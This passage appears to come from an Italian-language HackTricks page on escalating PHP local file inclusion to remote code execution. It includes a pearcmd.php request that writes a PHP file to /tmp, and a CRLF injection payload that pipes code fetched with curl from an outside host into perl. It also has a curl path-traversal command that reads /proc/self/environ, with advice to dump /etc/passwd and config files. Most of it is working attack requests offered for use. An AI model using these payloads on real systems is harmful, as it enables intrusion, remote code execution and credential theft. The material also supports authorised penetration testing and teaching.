As explained in this post, lo script /usr/local/lib/phppearcmd.php esiste di default nelle php docker images. Inoltre, è possibile passare argomenti allo script tramite la URL perché è indicato che se un parametro URL non ha un =, dovrebbe essere usato come argomento. Vedi anche watchTowr’s write-up e Orange Tsai’s “Confusion Attacks”.

La seguente request crea un file in /tmp/hello.php con il contenuto <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Il seguente sfrutta una CRLF vuln per ottenere RCE (da here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Se hai trovato una Local File Inclusion e un file che espone phpinfo() con file_uploads = on, puoi ottenere RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Se hai trovato una Local File Inclusion e puoi exfiltrate the path del file temporaneo MA il server sta checking se il file to be included has PHP marks, puoi provare a bypassare quel controllo con questa Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Se puoi abusare della LFI per upload temporary files e far il server hang l’esecuzione PHP, puoi poi brute force filenames during hours per trovare il file temporaneo:

LFI2RCE via Eternal waiting

To Fatal Error

Se includi uno qualsiasi dei file /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Devi includere lo stesso file 2 volte per generare quell’errore).

Non so quanto possa essere utile ma potrebbe esserlo.
Anche se causi un PHP Fatal Error, i PHP temporary files uploaded vengono eliminati.

Preserve traversal sequences from the client

Alcuni client HTTP normalizzano o collassano ../ prima che la richiesta raggiunga il server, rompendo i payload di directory traversal. Usa curl --path-as-is per mantenere intatte le traversal quando si abusa di endpoint di log/download che concatenano un filename controllato dall’utente, e aggiungi --ignore-content-length per pseudo-file come /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Regola il numero di segmenti ../ finché non esci dalla directory prevista, poi dump /etc/passwd, /proc/self/cwd/app.py, o altri file di sorgente/config.

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks